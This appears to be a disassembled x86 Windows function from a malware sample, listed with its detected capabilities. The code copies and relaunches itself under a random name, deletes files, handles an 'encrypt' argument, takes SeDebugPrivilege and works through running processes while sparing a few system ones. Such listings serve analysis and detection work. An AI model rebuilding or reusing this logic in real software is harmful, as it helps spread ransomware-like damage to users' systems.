Function at 0x30007180
Capabilities:
Accept command line arguments
Acquire debug privileges
Check os version
Copy file
Create process on windows
Create thread
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xbb3e4
call fcn.30007ba0
push esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x300076f7
push 0xa
lea ecx, [ebp - 0x6d4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.3000a749
add esp, 0xc
cmp dword [ebp - 0x14], 2
jg 0x30007484
cmp dword [ebp - 0x14], 2
jne 0x30007221
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 4]
cmp dword [ecx + eax], 0
je 0x30007221
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 4
shl edx, 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 9], 0x61
mov dword [ebp - 0x48], 0x1f4
push 0x3e8
push 0
lea edx, [ebp - 0xb84]
push edx
call fcn.30007100
add esp, 0xc
push 0x3e8
push 0
lea eax, [ebp - 0x1354]
push eax
call fcn.30007100
add esp, 0xc
push 0x3e8
push 0
lea ecx, [ebp - 0x670]
push ecx
call fcn.30007100
add esp, 0xc
push 0x3e8
push 0
lea edx, [ebp - 0xf6c]
push edx
call fcn.30007100
add esp, 0xc
push 0x3e8
lea eax, [ebp - 0xb84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0xb84]
push ecx
lea edx, [ebp - 0x670]
push edx
call fcn.3000a425
add esp, 8
lea eax, [ebp - 0x670]
push eax
call fcn.3000a447
add esp, 4
mov dword [ebp - 0x10], eax
jmp 0x300072cb
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jle 0x30007322
mov edx, dword [ebp - 0x10]
movzx eax, word [ebp + edx*2 - 0x670]
cmp eax, 0x5c
jne 0x30007320
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x24], edx
jmp 0x300072fb
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x670]
push ecx
call fcn.3000a447
add esp, 4
cmp dword [ebp - 0x24], eax
jae 0x3000731e
xor edx, edx
mov eax, dword [ebp - 0x24]
mov word [ebp + eax*2 - 0x670], dx
jmp 0x300072f2
jmp 0x30007322
jmp 0x300072c2
push 0x1e
push 0
push 0x3016e208
call fcn.30007100
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.3000aa40
add esp, 4
mov dword [ebp - 0x28], 0
jmp 0x30007354
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 7
jge 0x300073a6
mov dword [ebp - 0x1c], 0
mov edx, 1
test edx, edx
je 0x300073a4
call fcn.3000aa1f
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, 0xfa
div ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.30009ff6
add esp, 4
test eax, eax
je 0x300073a2
mov eax, dword [ebp - 0x28]
mov cx, word [ebp - 0x1c]
mov word [eax*2 + 0x3016e208], cx
jmp 0x300073a4
jmp 0x30007361
jmp 0x3000734b
push str..exe
push 0x3016e208
call fcn.3000a3b4
add esp, 8
push 0x3016e208
lea edx, [ebp - 0x670]
push edx
call fcn.3000a3b4
add esp, 8
push 0
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0xb84]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x30007431
push 0x300185f8
lea edx, [ebp - 0xf6c]
push edx
call fcn.3000a425
add esp, 8
push 0x30018600
lea eax, [ebp - 0xf6c]
push eax
call fcn.3000a3b4
add esp, 8
push 0
push 0
lea ecx, [ebp - 0xf6c]
push ecx
lea edx, [ebp - 0x670]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x3000747f
movsx si, byte [ebp - 9]
lea eax, [ebp - 0x670]
push eax
call fcn.3000a447
add esp, 4
mov word [ebp + eax*2 - 0x67a], si
push 0
lea ecx, [ebp - 0x670]
push ecx
lea edx, [ebp - 0xb84]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
lea eax, [ebp - 0xf6c]
push eax
lea ecx, [ebp - 0x670]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x300076f7
cmp dword [ebp - 0x14], 3
jne 0x30007612
push 0xc8
push 0
lea edx, [ebp - 0x79c]
push edx
call fcn.30007100
add esp, 0xc
mov eax, 4
shl eax, 1
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax]
push edx
lea eax, [ebp - 0x79c]
push eax
call fcn.3000a425
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 4
shl ecx, 0
mov edx, 2
imul eax, edx, 0
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx]
movzx edx, word [ecx + eax]
cmp edx, 0x38
jne 0x3000752a
mov eax, 4
shl eax, 1
mov ecx, 2
imul edx, ecx, 0
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + eax]
movzx ecx, word [eax + edx]
cmp ecx, 0x4c
jne 0x3000752a
call fcn.30005d20
push 8
call fcn.30004520
add esp, 4
push 0x6acfc0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.3000aa09
push str.encrypt
mov edx, 4
shl edx, 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx]
push ecx
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x3000756e
push 0x30018618
mov edx, 4
shl edx, 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx]
push ecx
call fcn.3000a3e5
add esp, 8
test eax, eax
jne 0x3000760d
mov edx, 4
shl edx, 1
mov eax, 2
shl eax, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx]
movzx eax, word [edx + eax]
test eax, eax
jne 0x300075c3
mov ecx, 4
shl ecx, 1
mov edx, 2
shl edx, 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + ecx]
mov eax, 0x3a
mov word [edx + ecx], ax
mov ecx, 4
shl ecx, 1
mov edx, 2
shl edx, 1
mov eax, dword [ebp - 4]
mov ecx, dword [eax + ecx]
xor eax, eax
mov word [edx + ecx], ax
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx]
push eax
push 0x301699c8
call fcn.3000a425
add esp, 8
call fcn.30005d20
push 4
call fcn.30004520
add esp, 4
push 0xc350
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
call fcn.30004520
add esp, 4
push 0x7a120
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x300076f7
cmp dword [ebp - 0x14], 4
jne 0x300076f7
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x30018624
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx]
push eax
call fcn.3000a3e5
add esp, 8
test eax, eax
jne 0x300076f7
mov ecx, 4
imul edx, ecx, 3
mov eax, 2
shl eax, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx]
movzx eax, word [edx + eax]
test eax, eax
jne 0x300076ac
mov ecx, 4
imul edx, ecx, 3
mov eax, 2
shl eax, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx]
mov ecx, 0x3a
mov word [eax + edx], cx
mov edx, 4
imul eax, edx, 3
mov ecx, 2
shl ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + eax]
xor edx, edx
mov word [ecx + eax], dx
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx]
push eax
push 0x301699c8
call fcn.3000a425
add esp, 8
call fcn.30005d20
push 4
call fcn.30004520
add esp, 4
push 0xc350
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
call fcn.30004520
add esp, 4
push 0x7a120
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x114
push 0
lea edx, [ebp - 0x288]
push edx
call fcn.30007100
add esp, 0xc
mov dword [ebp - 0x288], 0x114
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x284], 5
jne 0x30007745
mov dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0
jne 0x30007760
push 0
push 0
push 0
push 0x30003dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.30005d20
push 1
call fcn.30004520
add esp, 4
push 0x6acfc0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.3000aa09
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 0x38]
push ecx
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x300077cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x300077cc
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea edx, [ebp - 0x38]
push edx
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push 1
push str.SeDebugPrivilege
mov eax, dword [ebp - 0x38]
push eax
call fcn.30003ce0
add esp, 0xc
push 0xba090
push 0
lea ecx, [ebp - 0xbb3e4]
push ecx
call fcn.30007100
add esp, 0xc
lea edx, [ebp - 0xbb3e4]
push edx
call fcn.30003550
add esp, 4
push 0x64
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x110]
push ecx
call fcn.3000a447
add esp, 4
mov dword [ebp - 0x20], eax
jmp 0x30007832
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0
jle 0x3000789f
mov eax, dword [ebp - 0x20]
movzx ecx, word [ebp + eax*2 - 0x110]
cmp ecx, 0x5c
jne 0x3000789d
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x2c], edx
jmp 0x30007863
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.3000a447
add esp, 4
add eax, 1
cmp dword [ebp - 0x2c], eax
jae 0x3000789b
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov cx, word [ebp + eax*2 - 0x110]
mov word [ebp + edx*2 - 0x174], cx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x3000785a
jmp 0x3000789f
jmp 0x30007829
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x18], 1
jmp 0x300078b8
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jg 0x300079f8
mov dword [ebp - 8], 0
jmp 0x300078d4
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x64
jge 0x300079f3
imul edx, dword [ebp - 8], 0x1fc
lea eax, [ebp + edx - 0xbb3e4]
push eax
lea ecx, [ebp - 0x174]
push ecx
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x300079db
imul edx, dword [ebp - 8], 0x1fc
lea eax, [ebp + edx - 0xbb3e4]
push eax
push 0x3016e208
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x300079db
imul ecx, dword [ebp - 8], 0x1fc
mov edx, dword [ebp + ecx - 0xbb1ec]
cmp edx, dword [ebp - 0x18]
jne 0x300079db
push str.csrss.exe
imul eax, dword [ebp - 8], 0x1fc
lea ecx, [ebp + eax - 0xbb3e4]
push ecx
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x300079db
push str.explorer.exe
imul edx, dword [ebp - 8], 0x1fc
lea eax, [ebp + edx - 0xbb3e4]
push eax
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x300079db
push str.lsaas.exe
imul ecx, dword [ebp - 8], 0x1fc
lea edx, [ebp + ecx - 0xbb3e4]
push edx
call fcn.3000a3e5
add esp, 8
test eax, eax
je 0x300079db
cmp dword [ebp - 0x34], 0
je 0x300079ab
cmp dword [ebp - 0x18], 0
je 0x300079b1
cmp dword [ebp - 0x18], 1
jne 0x300079b6
jmp 0x300078cb
imul eax, dword [ebp - 8], 0x1fc
mov ecx, dword [ebp + eax - 0xbb1f0]
push ecx
call fcn.30001b80
add esp, 4
mov dword [ebp - 0x44], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
imul edx, dword [ebp - 8], 0x1fc
cmp dword [ebp + edx - 0xbb1f0], 0
jne 0x300079ee
jmp 0x300079f3
jmp 0x300078cb
jmp 0x300078af
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.30005d20
push 2
call fcn.30004520
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10